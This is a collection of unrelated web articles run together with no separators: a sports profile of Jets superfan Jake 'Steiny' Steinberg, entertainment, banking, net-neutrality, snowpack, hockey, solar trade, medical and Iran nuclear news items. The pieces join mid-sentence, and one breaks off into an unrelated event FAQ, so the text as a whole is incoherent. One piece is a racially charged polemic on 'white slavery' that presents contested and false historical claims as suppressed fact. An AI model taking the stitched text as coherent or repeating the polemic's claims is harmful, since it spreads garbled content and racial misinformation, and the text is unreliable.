Come learn about Jigsaw in Debian and possible futures for this modular JDK: such as opportunistic module loading in alternate languages on top of the JVM such as Groovy and Clojure.When the New York Jets signed veteran safety Ed Reed late last season, most NFL fans got the news -- as avid NFL fans have for many years -- from ESPN's Chris Mortensen. But the scoop belonged, it turned out, to another. Mort later tweeted: "Yes, Jets have made it official on Ed Reed… It has been pointed out @Steiny31 was first to report two sides were close." Steiny? Steiny?
It's not uncommon for strange sources to break sports news. In June, poster Carl2680 on the NBA message board RealGM beat the press to Jason Kidd's failed power play in New Jersey. In 2012, a 16-year-old Brewers fan with an MLB.com blog was the first to report on Ryan Braun's mishandled urine sample. But Steiny is something else, bigger than just one overheard conversation. He's the power broker for the back end of the Jets' roster.
Battle your friends in Football Throwdown, SI's new weekly fantasy game
"Everyone knows Steiny, man," said former Jets wide receiver Damarcus Ganaway. Former NFL quarterback Greg McElroy said, "All the players knew who he was because he was just so refreshing." (Ganaway and McElroy combined to appear in two career games.)
Steiny -- Jake Steinberg, to the teachers who should wonder what he's doing on his laptop in class -- is now a 20-year-old rising junior and journalism major at the University of Wisconsin. He's a member of Sigma Alpha Mu fraternity (a lot of Jets fans there, he said), and he has a 3.0 GPA. He once had a character named after him on Entourage. He's 5-foot-6 with almond-shaped eyes, close-cropped brown hair, and he talks a hundred yards a second, especially when you ask him what it is exactly that he does. He "provides a unique and inside look into the Jets." He "gets players' names out there." He's a mixture of marketer, publicist, reporter, blogger, agent and superfan, each endeavor entirely pro bono. He's Steiny.
Steiny works by way of unsubtle courtship. No sooner will a new player join the Jets -- think less Michael Vick, Eric Decker and Chris Johnson, and more T.J. Barnes, Rontez Miles and Aaron Grady -- than will Steiny "hit him up" on Twitter. He'll tell a player he looked awesome in practice; he'll tell him he'll make the team for sure; he'll send him a team photographer's action shot. And then the player, perhaps a small-school product without much of an online following, will go back and forth with Steiny, who can refer the player to a new agent, land him a deal for gear or just serve as a sounding board for gripes and insecurities. He makes fast friends, whether with Ganaway or defensive lineman Jake McDonough ("He would text me complaining from his crappy Arena League hotel room at 2 a.m. and I'd be there for him") or linebacker Ricky Sapp ("I got him a sock deal").
Big names on the NFL's roster bubble | Ranking the worst QB situations
"A lot of players don't like reporters, but Steiny was cool," Ganaway said. "He always had positive stuff to say about everybody."
Positivity is quite the feat when you consider the last few incarnations of the Jets. "We could be losing 45-3," Steiny said, with one ugly 2010 defeat in mind, "and I'll still go on Twitter and hype a guy up. He'll see that and it'll raise his self-esteem."
As for Ganaway, Steiny's been hyping him up since he worked out for a futures contract in October 2011. Steiny told him on Twitter that he crushed his workout and he'd surely get signed. And after the season, he was. From then on, Ganaway said, he knew Steiny was no pretender. And his teammates started wondering how they, too, could get the Steiny bump on Twitter. "People would see that me and him were cool," Ganaway said. "And they'd say, 'Steiny's shouting you out on Twitter! How do I get that?'"
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And so Steiny's iPhone contains the numbers of everyone from Nick Bellore, the Jets' best special-teamer; to Dee Milliner's younger brother, Pat; to Helen Burke, the wife of Hayden Smith, the third-string Aussie tight end the Jets cut last August. (Wives and girlfriends love Steiny -- he'll send them pictures of their partners while they're marooned at camp.) And he has Stuart Scott's cell number in there, too.
That was a right-place, right-time thing. At age 15, Steiny would without fail submit questions to Scott's weekly ESPN live chat. ESPN the Magazine would publish the best questions and answers in every issue, and Steiny would periodically show up there, ecstatic to see his name in print. On one 2008 night, Steiny's dad, Rich, who runs a hedge fund in New Jersey, spotted Scott dining a few tables away at Abe and Arthur's, a brasserie in the Meatpacking District. He walked over and introduced himself as Steiny's father. Scott looked a little bewildered. "You're Steiny's dad? I thought he was in his thirties." No, Rich said, he's 15. Scott gave Rich his number so young Steiny could text him, and they've been pals since.
But Scott is one of the few media members who thinks fondly of Steiny. Many of the scribes on the Jets beat have a much different opinion of his work. Some of the resentment dates back to training camp in 2012, when, according to Steiny, his chumminess with backups prompted the Jets to revoke his credential. The beat writers didn't think much of his locker-room bro-hugs. There's also some suspicion and annoyance that Steiny's dad, who once headed Boomer Esiason's foundation, may have procured a low-level front-office source for his son. But Steiny's dad said the newspaper writers just feel threatened that a self-made hobbyist can beat them to scoops.
On Twitter, Steiny has blocked New York Daily News columnist Manish Mehta, a frequent critic of the Jets. Said Mehta, "There are fans who just want to hear rosy things about the organization, and then there are fans who want to hear what's actually going on." (Manish Mehta says he does not, nor has ever, followed Steinberg on Twitter).
Indeed, the young journalism student is not much for objectivity. "I'll tell it like it is," he said, "but I won't tell it like it is. If Ellis Lankster gives up a 50-yard touchdown, I won't trash him, we have a personal relationship." As for underachieving wide receiver Stephen Hill? "I don't know him personally, so I don't feel the need to suck up to him, or, you know, hype him up."
SI's complete guide to your fantasy draft: Rankings, predictions and more
Steiny said he hears often from agents who wish the other 31 teams had their own Steinys. The formula seems easily replicable -- each roster has its share of largely anonymous youngsters, and each team has its share of fans crazed enough to crave information on the scrubs. As Steinyism begins to spread, the original Steiny will focus on developing new relationships and completing his studies. (He wants to be an agent, he thinks.) And he'll keep on publishing his unique blend of boosterism and breaking news.
Just don't call what he does journalism. Or do. Vice Media, a journalism company that has pioneered marketing dressed up as editorial content, rode that blend to a rumored multi-billion-dollar takeover offer in June from Time Warner, SI's former parent company. That stuff is hot. And who has been working three days a week this summer as Vice's sports intern? The legend himself: Steiny.Photo by Nabil
Yesterday, Stephen Colbert shared a very detailed explanation of exactly what happened with the Daft Punk no-show on "The Colbert Report" last week. From the beginning of the debacle, Colbert's camp has said Daft Punk cancelled due to a contractual agreement with the MTV Video Music Awards on August 25, where they are scheduled to appear. Now, The Hollywood Reporter reports that it was Daft Punk and their management who chose to skip "The Colbert Report".
VMAs executive producer Jesse Ignjatovic told The Hollywood Reporter:
We don't put restrictions on anyone. I just think that we're talking to them about a moment and then things sort of change. I would not describe that as MTV putting restrictions on people -- it was up to that artist and their management what they wanted to do.
In his explanation yesterday, Colbert said that MTV brought the hammer down on Daft Punk's "Colbert Report" appearance at the very last minute, to the surprise of everyone, including the band's camp. He said that Daft Punk's people didn't think that the duo had an exclusive agreement with the VMAs.
Watch Colbert and friends dance to "Get Lucky":Some students at Gonzaga University in Spokane have been caught with “unneeded” emotional support ‘therapy’ animals.
According to The Gonzaga Bulletin, ongoing reports of misuse of Emotional Support Animals, or ESAs, has caused the school’s Residential Life Office to take added precautions surrounding permissions for therapy animals.
“We have received reports that people have abused the process and gotten animals in the room that they didn’t actually need on the basis of disability,” said Jason Varnado, the associate director of disability access at Gonzaga.
Varnado said students would bring animals into their dorms, then claim to their RAs that the animals were authorized by the administration.
But, when some RAs have checked their residents’ claims, they’ve found many are harboring animals under the auspices of disability, without actually having documentation or official authorization from the administration to do so.
“I get phone calls every couple of weeks from dorm directors saying ‘Can you tell us if this student has an accommodation for an ESA?’” Varnado said.
Because students have been caught abusing the system so often, the process to obtain and keep a therapy animal on campus has become more stringent. Students now have to have documentation that their support animal was authorized by the administration handy during the weekends, so that students can no longer falsely claim to RAs that they have an approved ESA, when in reality, they don’t.
Moreover, students can also no longer use certifications they receive over the internet from health care providers as official documentation.
Every year, approximately 12 students are caught having an animal that hasn’t been approved, according to Stuart Davis, the associate director of housing operations.
Latest VideosThe banking industry is mired in a state of permanent crisis. Some firms, like Deutsche Bank, are still trying to clamber out of holes they dug before the financial meltdown, negotiating multibillion-dollar settlements with the Department of Justice. Others, like Wells Fargo, have dug completely new holes for themselves, engaging in forms of Main Street misconduct that would have embarrassed the high-rolling investment bankers on Wall Street.
The consequences in terms of public confidence are profound. A recent survey conducted by my firm, Brunswick Group, revealed that 82% of people in the U.S. and three other leading countries favor additional bank regulation; 59% support breaking up the banks; and 56% favor smaller, more-personal banks. Most think banks are part of an elite establishment that’s lost sight of the broader mission to serve customers and would prefer they operate more like nonprofits.
A lot has changed in the banking industry since the crisis in 2008, especially in terms of regulation and compliance. Much less has changed in terms of people, especially in the balance of broad experience and specialist depth. Most of the leading financial institutions are still led by career bankers — in some cases the same people who led these institutions through the crisis. Wells Fargo, for instance, has just replaced a 32-year veteran of the bank with a 29-year veteran.
In this respect, the banking industry illustrates a broader trend in our society: the model of light managerial supervision for increasingly powerful career specialists. In our globalizing, technology-driven, ever-more-complex world, we have become convinced that the route to personal and institutional success lies in narrower and deeper specialization. We have entered the world of ultra specialists.
The permanent crisis in banking is an outgrowth of this, a man-made disaster created by individuals who have gotten completely carried away by the perceived value of specialist expertise. The damage from this myopic approach is not just reputational but also economic, given the critical role the financial system plays in enabling growth, investment, job creation, and wealth.
This crisis reveals the three most toxic perils of depth.
First, hubris. Even now, the highly skilled — and highly paid — specialists who power the leading financial institutions are supremely confident in their own abilities, speak a technical language few of us can understand, and apply their expertise to develop sophisticated, complex, and opaque financial products. In an arena that Alan Blinder describes as “opacity and complexity run amok,” the gap between what they and the rest of us, including regulators, understand remains dangerously wide.
Second, blinkered vision. A defining characteristic of specialists is that they know only what they see and see only what they know — a self-reinforcing loop. They lack the wider perspective to understand the interlocking aspects of the financial system; the breadth of intellectual discipline to assess the economics, mathematics, sociology, and psychology of financial behavior; and the insight to understand past experience with, say, overinflated asset bubbles.
Third, lack of foresight. The distinguishing feature of the financial crisis and much that has happened since is that we all assumed the specialists were right, up to the point when it became evident they were wrong. That’s especially true of their predictions about the future. As professor Philip Tetlock and other researchers have shown, specialist experts are very poor predictors. Tetlock’s landmark study of geopolitical outcomes — 80,000 predictions made by 284 professional forecasters over three decades — showed nonexperts actually made the most-accurate predictions.
It no longer makes sense for banks to be run and operated exclusively by career bankers. The cornerstone of bank recruiting strategies should be experiential diversity enabled by a broad range of personal experiences and networks. People with this kind of diversity exhibit the “wisdom of crowds”; they are programmed to be collectively smart. They are inherently less constrained by a single type of experience precisely because their worldview is so much broader.
Research and experience suggests those with more experience exhibit four particular traits, chief among them a strong moral compass. People who build a broader life and career routinely have to deal with areas of moral complexity what’s right and wrong is not always certain. To navigate that complexity, they develop an inner sense that distinguishes good choices from bad — an implicit ethical code and guide for morally appropriate behavior, which has often gone missing in banking and other industries.
They also develop transferable skills. Working in different arenas is the professional equivalent of cross-training, resulting in greater flexibility and adaptability and a common foundation of universal skills that can transfer readily from one situation to another.
Broad experience also enables contextual intelligence, a capacity to understand and adapt to different contexts and to operate effectively in a variety of situations. While some people seem hardwired to succeed in one context and fail in another, others are more elastic and able to adjust for different situations.
Finally, as Louis Pasteur famously noted, “In the field of observation, chance favors the prepared mind.” People with a prepared mind in the form of broader experience are able to anticipate, interpret, and navigate aspects over which they have some control or influence. Since experience has shown there is no surefire way to predict what chance will deliver, they prefer to create options, rather than become dependent on a single throw of the dice.
As individuals and as a society, we cannot afford to be as prone to the perils of depth as we have been, especially in our financial institutions. The populist climate in our politics, combined with the lack of public trust in financial institutions, will only grow unless banks adopt a different approach. A good place to start is by investing in broad experience and rebalancing the ranks on Wall Street with far-reaching and wide-ranging professional attainment that can help us value preeminence over depth.San Antonio Spurs head coach Gregg Popovich is infamous for his treatment of reporters and their pesky, often inane questions. Fans may love the shtick and find it hilarious, but Pop’s wife isn’t entirely thrilled with his boorish behavior. From 790 the Ticket (via SRI): “Why he makes things so tough on courtside reporters: ‘I know. I’m a jerk. I’m going to go ahead and admit it publically to the whole world. Tell me what to do. What should I do? The quarter ends, you just got outscored by 12 points, they had eight offensive rebounds so the question will be ‘you just got outrebounded by X amount so what are you going to do about it?’ I don’t know. Am I going to make a trade during the timeout? I don’t know. I’m going to do drills here for a while by the time the game starts, I don’t know. I’m not going to do anything. I’m just going to go back to the bench and hope we play better. I don’t know how to answer so sue me for being stupid and not having the answers to the questions. (Host: Keep doing it, it’s entertaining.) It entertains everybody but my wife. When I get home and she says ‘geez why are you so mean? You’re a jerk, people hate you.’ I go I’m sorry honey, I have to do better next time.’ On being criticized by his wife when he gets home: ‘And there’s no exaggeration. Did you see that guy honey? Did you see him? All you have to do is see him and you know why I answered the way I did. (She says) ‘That’s no excuse, you’re a grown man. Show some maturity.’ I said ‘I can’t, I can’t do it.'”The small Kingdom of Delnun is steeped in legend. Though magic has failed the land over the centuries, the people believe a curse on the Royal Family remains that could bring the country to ruin. Why then does someone keep trying to kill the Queen?
Queen Iola knows that her husband didn't die in a hunting accident. She knows exactly who murdered him. The man who died bringing her the information left behind a wife and four children she promised to protect.
When the man's son Eraph is brought before her for poaching on royal lands, the Queen decides to use the boy for her revenge, despite the misgivings of her bodyguard Mica.
Eraph and a strange collection of friends become tangled in a web of intrigue and murder that threatens the lives of the Queen, their families and the entire Kingdom.Why Not? AT&T Adds Its Name To The Pile Of Lawsuits Against The FCC's Net Neutrality Rules
from the pile-on! dept
On Monday, the FCC's net neutrality rules officially went into the Federal Register, which was also known as the starters' gun for rushing to the courthouse to sue the FCC over those rules. Trade group USTelecom got there first with its filing, while a bunch of other trade groups, representing big cable companies (NCTAA), small cable companies (ACA) and big wireless companies (CTIA -- ignoring the claims of its members Sprint and T-Mobile) were right behind them. Not to be left out, AT&T has also formally sued the FCC using the same basic complaint ("arbitrary and capricious, yo!")There had been some idle speculation that the big broadband companies might sit this one out directly, and rather let their lobbying trade groups handle the fun, but AT&T apparently couldn't take the risk of letting those other groups fight this fight, just in case they chickened out. Of course, there is some irony in the fact that AT&T was apparently among those who were most pissed off at Verizon for suing over therules, since that's what led to these new rules. Either way, expect the various lawsuits to get consolidated before too long. And then expect years of fighting before we get a final ruling and lots of whining and complaining in between.And, just think, instead of spending all that money on lawyers and press releases about future plans to deliver faster broadband, AT&T could actually be investing in building a better network for its subscribers. But what fun is that? According to Wall Street's view... it's no fun at all. They'd much rather AT&T fight against rules that say they have to treat consumers right, rather than actually working hard to treat consumers right.
Filed Under: fcc, lawsuits, net neutrality
Companies: at&tFrom the back window of my house in North Lake Tahoe the snow looks pathetic. It has receded from full, albeit thin, coverage of the ground to less than half of the backyard. This has not been a good year for snowfall and the resultant snowpack, which will be evaluated again (officially) this week.
Last season (2010-11) was exactly the opposite with more than 600 inches of snow on the ski mountains. In fact, run-off from last year’s snowpack so engorged the reservoirs that they currently remain at healthy levels despite this year’s low precipitation.
How bad is this season? Reno had the lowest recorded snowfall for a December since 1883.
The weak snowpack’s latest readings have it at 30 percent of normal, and only 13 percent when measured against season-ending expectations. These numbers will make an impact. After all, the legendary California water wars begin up here in the high country when nature dumps (or fails to dump) its load of snow on the mountaintops.
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But there’s more than water at stake in this year’s light snowfall. There’s also the increased potential for fires, which can denude the landscape and leave open hillsides that encourage faster run-off. Quick run-off reduces the amount of water that can be retained for the state’s use. Reports of early preparations by California firefighters have already surfaced, as workers ready planes and other equipment for an early start to fire season.
The economic impact on the ski industry will not be known fully until the end of the season, but it’s clearly been a tough year for the western resorts in general and Lake Tahoe in particular. La Nina weather patterns have pushed winter storms well to the north, and the few low pressure areas that have managed to make their way into the Sierras have provided only minimal moisture. This year, Seattle received unusual amounts of snow while Truckee took in only paltry sums.
Conditions have forced ski resorts to employ an array of snowmaking equipment to provide skiers with a reasonable – if not optimal – experience. But snowmaking, and the water involved, costs the ski industry money that won’t be recouped because of depressed crowds.
“Many ski areas won’t reveal how business is going, but the California Ski Industry Association says the Christmas season was down 40 percent statewide,” reported KGO radio out of San Francisco.
Tahoe has been known for occasional “miracle March” snowfalls, and it will take a near record performance to make up for the missing moisture of 2012. Here’s how it’s being reported by the Tahoe Weather Discussion website – one of the most reliable in the area:
“The forecast models are showing [us] now with increased chances of some bigger storms making it into CA for the end of the month and into the first week of March. The snow needs to hurry up because we are getting close to going below the driest season of 76-77 for snowpack.”
Clearly, we’ve hit a rough patch here in Lake Tahoe, and the results for California’s agricultural industry are bound to be negative. Then again, when you combine last year’s epic snow season with this year’s paltry one, you kind of come out even.The currently approved conceptual framework for American race relations dictates that whites”all of them, simply by dint of being white”are oppressors. Any deviation from this rigid script, no matter how deeply rooted in fact, must be immediately annihilated like a blood-engorged tick.
We are taught that black academic and financial underperformance”as well as black over-performance in crime”are the direct result of slavery’s horrid legacy. There are to be no other possible explanations. To note the hugely embarrassing fact that American blacks live far longer and under vastly superior economic conditions in America than they do in any majority-black nation on Earth may be factual, but it is RACIST because it undermines the ironclad Guilt Narrative that must never be questioned.
Here are some facts that The Script demands you ignore:
1) Even at the peak of American slavery, only a tiny percentage of American whites”about 1.5%”owned slaves.
2) Leading up to the Civil War, a vastly higher quotient of whites had worked as indentured servants and convict laborers than had ever owned slaves. Most historians, regardless of their political orientation, agree that anywhere from half to two-thirds of whites who came to the American colonies arrived in bondage. The fact that the vast majority of whites existed in a state closer to slavery than to slave ownership is something resolutely ignored in the modern retelling of history.
3) Documents from the era show that so-called white “indentured servants” were often referred to as “slaves” rather than “servants.”
4) These “servants” did not always enter into voluntary contracts. There is overwhelming evidence that many of them were kidnapped by organized
criminal rings and sent to work on American plantations. It is possible that as many, if not more, whites than blacks were brought involuntarily to the colonies.
5) The middle-passage death rates for these “servants” were comparable to that of blacks on slave ships from Africa to the New World.
6) Indentured servants were whipped and beaten, sometimes to death. When they escaped, ads were placed for their capture.
7) They lived under conditions so brutal that an estimated half of them died before their seven-year term of indenture expired.
I covered many of these facts in my book The Redneck Manifesto. The chapter regarding white slavery is here. A simplified “kids” version is here. And recently Gavin McInnes and I covered much of the same ground in this video.
I”ve often discussed how guilt is one of the primary political weapons”in the long run, possibly more powerful than bullets. Since the currently accepted narrative is based far more on an attempt to quarantine historical guilt among whites than it is a sober assessment of the facts, the typical response to any discussion about white slavery is emotional rather than logical.
“To white slavery deniers such as Liam Hogan and the SPLC, these are all ‘false equivalencies’”possibly because they render the idea of universal white guilt as undeniably false.”
Ninety-nine percent of the time, “rebuttals” consist of nothing more than ad-hominem attacks, straw men, and appeals to motive. I often get accused of trying to “justify” slavery or of trying to argue that two wrongs make a right. When I counter that I”m arguing that two wrongs make two wrongs”and that I wonder why the sole focus is on one wrong rather than all of them”I am accused of being a racist liar.
Most frustratingly, I”m falsely accused of saying that white slaves had it worse than black slaves. No, actually, in The Redneck Manifesto, I was merely quoting people who alleged that:
Howard Zinn states that “white indentured servants were often treated as badly as black slaves.” Eugene Genovese claims that “In the South and in the Caribbean, the treatment meted out to white indentured servants had rivaled and often exceeded in brutality that meted out to black slaves….”
OK, well, obviously those were neo-Nazi, Holocaust-denying, minority-lynching, right-wing KKK lunatics saying that, right? No”both Zinn and Genovese were Marxists.
The book also quotes early observers saying much the same thing:
A colonial observer of Virginia convict laborers said, “I never see such pasels of pore Raches in my Life…they are used no Bater than so many negro Slaves.” A 1777 screed protesting the indenture racket claimed that a white servant’s body was “as absolutely subjected as the body or person of a Negro, man or woman, who is sold as a legal Slave.” In the 1820s, Karl Anton Postl commented that non-slaveowning whites “are not treated better than the slaves themselves….A 1641 law provided for all disobedient servants to have their skin branded, regardless of its color. A 1652 law in Providence and Warwicke (later Rhode Island) mentions “blacke mankind or white” servants. A 1683 Pennsylvania law contains the phrase “no Servant White or Black.
But rather than even attempting to dispute any of |
all times of the crawl. You may be asked to prove your age throughout the crawl.
What are my transport/parking options getting to the event?
Because of the limited amount of public parking, we ask that you avoid driving to the event as much as possible. For your convenience, both Uber and Lyft are offering discounts for the event. We ask all those drinking to have a designated driver for the event. We want everyone participating to be safe!
What can/can't I bring to the event?
We recommend everyone bring a postive attitude and cash. The venues will be taking cash for drink specials and food. It will be a nice summer day here in New Orleans and we recommend sun screen, cool clothes and water. LOTS OF WATER! Bring a portable battery charger also. Although there will be a food stop along the way, we recommend you come on a full stomach. :D
Do not bring weapons of any kind. You will be thrown from the event - if not arrested.
Do not bring your own alcohol.
Police will be present and we ask you to be respectful of them.
Where can I contact the organizer with any questions?
Please send any questions or concerns to Kasey at kasey.pokecrawl@gmail.com. We'd love to hear from you.
Do I have to participate in the entire crawl?
Actually, no. We encourage all those who purchase admission to participate in the entire crawl, but you dont have to! There are several stops along the way. If you want to jump in at any point, just make sure you have your wristband to gain access to the After Party at Grits Bar.
Is there same day registration?
We encourage all those who are participating to join us for the packet pickup on Friday, August 26, 2016 from 3pm to 8pm at Country Inn & Suites located at 315 Magazine St. If you cannot pickup your packet on Friday, please arrive early at Grits Bar (start location) between 2-3pm for the pregame to pickup your packets. Shirt sizes are not guaranteed after Friday however, as they are already first come, first served (sizes).
What is the refund policy?
We understand. Refunds will be available until FRIDAY August 26, 2016. But think of the animals!The Florida Panthers face a familar foe tonight in the Tampa Bay Lightning. Besides the normal rivalry affair between these two teams, tonight’s match at Amalie Arena in Tampa will be interesting for another reason: both teams have been disappointing so far this season.
There’s plenty wrong with the Panthers that my colleagues or I have already shed light on: The offense has been slight and inconsistent. The defense has often been fine, but sometimes has looked weak, and not very dangerous on the offensive end. The goaltending has been simply great for almost the entire season: don’t look Luongo’s way if you want to ascribe blame. Gerard Gallant’s strategies… I guess have gone over my head.
If Aleksander Barkov can come back tonight though, then the Panthers could be cooking with gas. His defensive abilities are huge to allow players like Nick Bjugstad and Vincent Trocheck to focus on their offensive games, and his passing skills with Jaromir Jagr and Jonathan Huberdeau can jolt scoring opportunities out of nothing. Barkov can be the biggest Panther in any zone, but the Panthers just need to get him back in the line-up. According to Gerard Gallant, he could be ready to play tonight but maybe we should expect to return on Monday instead of today. The sooner the better, but he is skating with the team tonight.
The Panthers could go to either Roberto Luongo or Al Montoya tonight in goal. Considering Luongo’s tough start against the Buffalo Sabres on Thursday, I might lean a little more to Montoya if I were to guess. But I assume Gallant will let Montoya get one of these games in the home-and-home series against the Lightning.
In Tampa, the Lightning are maybe dealing with one of those patented “Eastern Conference Champion hangovers”. Nothing appears as solid as it did last season for a team that did almost everything well. The Lightning have scored fewer goals than the Panthers this year with two extra games (their 2.33 GF/GP is 24th in the NHL). Compared to their league-leading 3.16 GF/GP last year, the Lightning have lost a little voltage, if you don’t mind my pun. Ondrej Palat won’t be able to help the cause tonight: he’s out for the next couple weeks with a lower-body injury. But Steven Stamkos, Victor Hedman, Tyler Johnson, Nikita Kucherov, and Ryan Callahan have gone nowhere, unfortunately. That group could explode for five Lightning goals on any given night.
In goal for the Lightning is the unfairly large Ben Bishop. His 6’7″ frame has served him well so far this year, as he has accrued a solid 2.15 GAA and.924 SV%. And with players like Hedman and Anton Stralman playing lights-out in the defensive squad, it will be a huge challenge for the Panthers to get three goals at Amalie Arena.
The Lightning were a total behemoth last year, dominating on the scoreboard and on the stats sheet. Not much has changed for Tampa Bay, but the team looks a little more vulnerable when it’s having trouble finding the twine. The Florida Panthers could use a big win tonight to jolt their season back to life.
What beer are we drinkin’? Long Table Farmhouse Ale from New Belgium Brewing. I’m an avowed fan of New Belgium, who makes some of the best beer out there without loading up at all on the price. Tonight I’m going a little out of season by choosing Long Table, which is a “saison”. If you like wheat beers you might like saisons, which have a good wheat body but have more spice and fruit flavors. Long Table is a very approachable version of the style, and is certainly worth a taste if you’d like to expand your horizons.
What song are we singin’? “Novocaine for the Soul” – The Eels. Not much to say except this is a very cool song, and one of the big MTV alt-rock hits of the mid-90s. The Florida Panthers could use something before they sputter out.A crew member was seriously injured on the sets of Fanney Khan, an upcoming film starring Aishwarya Rai and Anil Kapoor, on Sunday in Mumbai. The film was being shot in the city’s Flora Fountain area when a motorbike hit the film’s third assistant director.
The shot involved Aishwarya hailing a cab. During the shooting, a bike hit the assistant director when she was crossing the road, according to a Firstpost report. As she was plugged into the headphones connected to her walkie talkie, she could not hear the sound of the bike which was approaching.
The film’s makers said in a statement, “In an unfortunate accident yesterday, one of the assistant directors of our film - Fanney Khan, suffered some injuries during the shoot in Mumbai when a motor cycle rider crashed into her. She was immediately given first aid and taken to the hospital for further treatment. She is completely fine now and will soon join the crew for the shoot. The police are dealing with the errant motorcyclist as per the due process of law.”
The film stars Anil Kapoor and Rajkummar Rao other than Aishwarya. The film has Anil Kapoor as a father and an aspiring singer while Aishwarya plays a glamourous singing sensation. Rajkummar is Aishwarya’s love interest in the film. The film, a remake of Oscar-nominated film, Everybody’s Famous!, is the directorial debut of Atul Manjrekar. The film is slated to release in April next year.
First Published: Nov 06, 2017 10:52 ISTUnless the United States, China, and the European Union (EU) step back from a mutually destructive trade war, the next decade for the solar industry could resemble the world economy in the 1930s.
Back in 1929 and 1930, Congress passed -- and President Herbert Hoover signed -- the Smoot-Hawley tariff, despite the warnings of Henry Ford, the CEO of J. P. Morgan, and a petition signed by 1,028 liberal and conservative economists.
As we now know, the results were a round of retaliatory trade restrictions by the world’s leading economies and the deepening of the Great Depression.
More than eight decades later, in what has been a fast-growing worldwide solar industry, history is repeating itself, with consequences that are predictable but still avoidable.
Ostensibly to protect U.S. solar cell manufacturing, the German-owned company SolarWorld initiated a trade case aimed at restricting the importation of Chinese solar panels.
After a year-long battle fought at the Department of Commerce and U.S. International Trade Commission (ITC), SolarWorld won most, but not all, of what it wanted. Despite its “victory,” SolarWorld admits that these tariffs have not protected U.S. solar cell and panel manufacturers.
More importantly, since SolarWorld filed its complaint, numerous retaliatory trade actions have taken place throughout the world.
First, in addition to filing a trade petition in the U.S., SolarWorld filed a similar complaint in the EU, and the EU began an anti-dumping investigation this summer which, if successful, will have an even larger price impact on the world solar market.
Then, for its part, China began an investigation into the alleged dumping of polysilicon by U.S. companies. Additionally, China has alleged in a petition to the World Trade Organization that the EU and some member states gave illegal subsidies to photovoltaic solar projects that used EU-produced equipment.
And now there are indications that India too plans to initiate an investigation into solar dumping by Chinese, U.S. and Malaysian solar cell manufacturers.
Those of us who have worked hard to build a solar industry in the U.S. to compete with fossil-fuel-generated power need to take a collective breath and think clearly about the consequences of an all-out solar trade war. The big winners will be the producers of coal, oil and natural gas, not solar manufacturers in the U.S., China, the EU or anywhere else.
Instead of retaliation and recrimination, we need education and reconciliation. We need to work together to create an international framework for a worldwide solar industry.
Here in the U.S., local manufacturing is important. We need to figure out the best strategies to advance the latest breakthroughs and commercialize the most efficient technologies be they the manufacture of cells, polysilicon or machinery to process cells or equipment required to operate panels. Recognizing the rapid pace of discovery and change, we should determine what types of manufacturing to encourage and which types of manufacturing may be best suited for our economy, workforce and geography.
Internationally, we should negotiate our trade relationships, not use a blunt -- and highly ineffective instrument -- such as tariffs, to set the terms of trade.
U.S. trade laws are archaic, rigid and designed to reward the petitioner, not to consider the consequences to an entire industry and consumers.
The most basic lesson we can take from the SolarWorld case is that oft-repeated quotation from George Santayana: “Those who forget the past are doomed to repeat it.” We in the solar industry repeat the Smoot-Hawley tariff lesson at our peril.
As the world learned during the 1930s, no one wins in a trade war.
***
Jigar Shah is the president of the Coalition for Affordable Solar Energy and the founder of SunEdison, a solar energy services company.The world’s urologists have shared the latest developments in their field at the recent AUA conference. Among the topics presented in New Orleans was a session on stem cell research and new regenerative developments. Although there was nothing specific to the foreskin, there was research showing how regenerative techniques had been applied to urological problems.
The bladder proved to be a key area of research. An experimental study in rats was undertaken for regeneration of the bladder muscle wall using a decellularized colon matrix. Three months after the operation, the region of the graft was indistinguishable from the natural bladder. These results suggest decellularized colon could be a reliable natural collagen scaffold and viable material for bladder augmentation.
In other research, bone marrow stem cells were found to be a promising cell source in bladder tissue engineering, especially for improving tissue angiogenesis - the process through which new blood vessels form from pre-existing vessels.
Gene manipulation was also attempted for bladder augmentation. The Wnt-5a gene is known to play a critical role in embryo development and possibly in angiogenesis, muscle and nerve regeneration. Stem cells were genetically modified to overexpress this gene and seeded on a synthetic scaffold. Results found marked improvements in angiogenesis, and muscle, nerve, and urothelium regeneration.
Human urethra was also regenerated using a newly developed scaffold-free 3D biofabrication system. This technology, researchers say, will enable the development of a wide range of cell-products for restoring tissues and urological organs from living cells safely and efficiently.
Although the research presented at the conference is not directly related to the foreskin, it does show a promising interest in regeneration, particularly from urologists. The time is ripe for interest to turn to regenerating the foreskin.An Occupy Portland protester who filed a lawsuit against city police for spraying pepper spray into her face and mouth has moved her complaint from Multnomah County Circuit Court to the U.S. District Court.
The two courts sit on opposite sides of Lownsdale Square, site of the long-running Occupy encampment.
Elizabeth Nichols, whose photo was captured in an iconic image in The Oregonian, originally filed her lawsuit in state court on Oct. 5. Her lawyers moved the suit on Friday into the federal court, which sits across the street.
The complaint accuses Portland police officers Doris Paisley and Jeffrey McDaniel of using excessive force against Nichols, who was arrested on Nov. 17 outside Chase Bank on the corner of Southwest Yamhill and Sixth Avenue. Nichols accuses Paisley of pushing her baton against Nichols' throat and shoving her backward, stopping her breathing.
When Nichols shouted back, the suit alleges, McDaniel shot pepper spray into her face.
--“A new generation of centrifuges is being built, but they should undergo all tests before mass production,” Head of the Atomic Energy Organization of Iran (AEOI) Ali Akbar Salehi said on Thursday.
He added that Iran possesses some 19,000 of different types of centrifuges.
Highlighting Iran’s impressive achievements in the field of nuclear technology, Salehi said the Islamic Republic in now among the countries with the capability to carry out “all fuel (production) stages from exploration to ore dressing and production of uranium fuel.”
In a recent development, Iran allowed the International Atomic Energy Agency (IAEA) to inspect its nuclear sites. The move is believed to be the first concrete step under a cooperation agreement signed in November between the Vienna-based UN agency and Iran to dispel concerns about Tehran’s nuclear program.
Under the IAEA Safeguards Agreement, Iran is not obliged to allow such inspections but Tehran has, on a voluntary basis, agreed to allow the agency's inspectors access to the Arak facility as well as the Gachin uranium mine in Bandar Abbas in southern Iran.
Furthermore, Yukiya Amano, director-general of the IAEA, had announced earlier that his organization was looking into how the agreement between Iran and six world powers to restrict Tehran’s nuclear activity during the six-month framework could be “put into practice”, given the UN agency’s role in verifying the deal.
The IAEA plans to expand its monitoring of Iran’s uranium enrichment sites and other facilities under the interim accord, reached after marathon talks between Iran and the United States, France, Germany, Britain, Russia and China, on November 24. Iran has agreed to limit uranium enrichment and allow for more inspection of its enrichment and other related facilities in exchange for minor relief from UN and western sanctions.
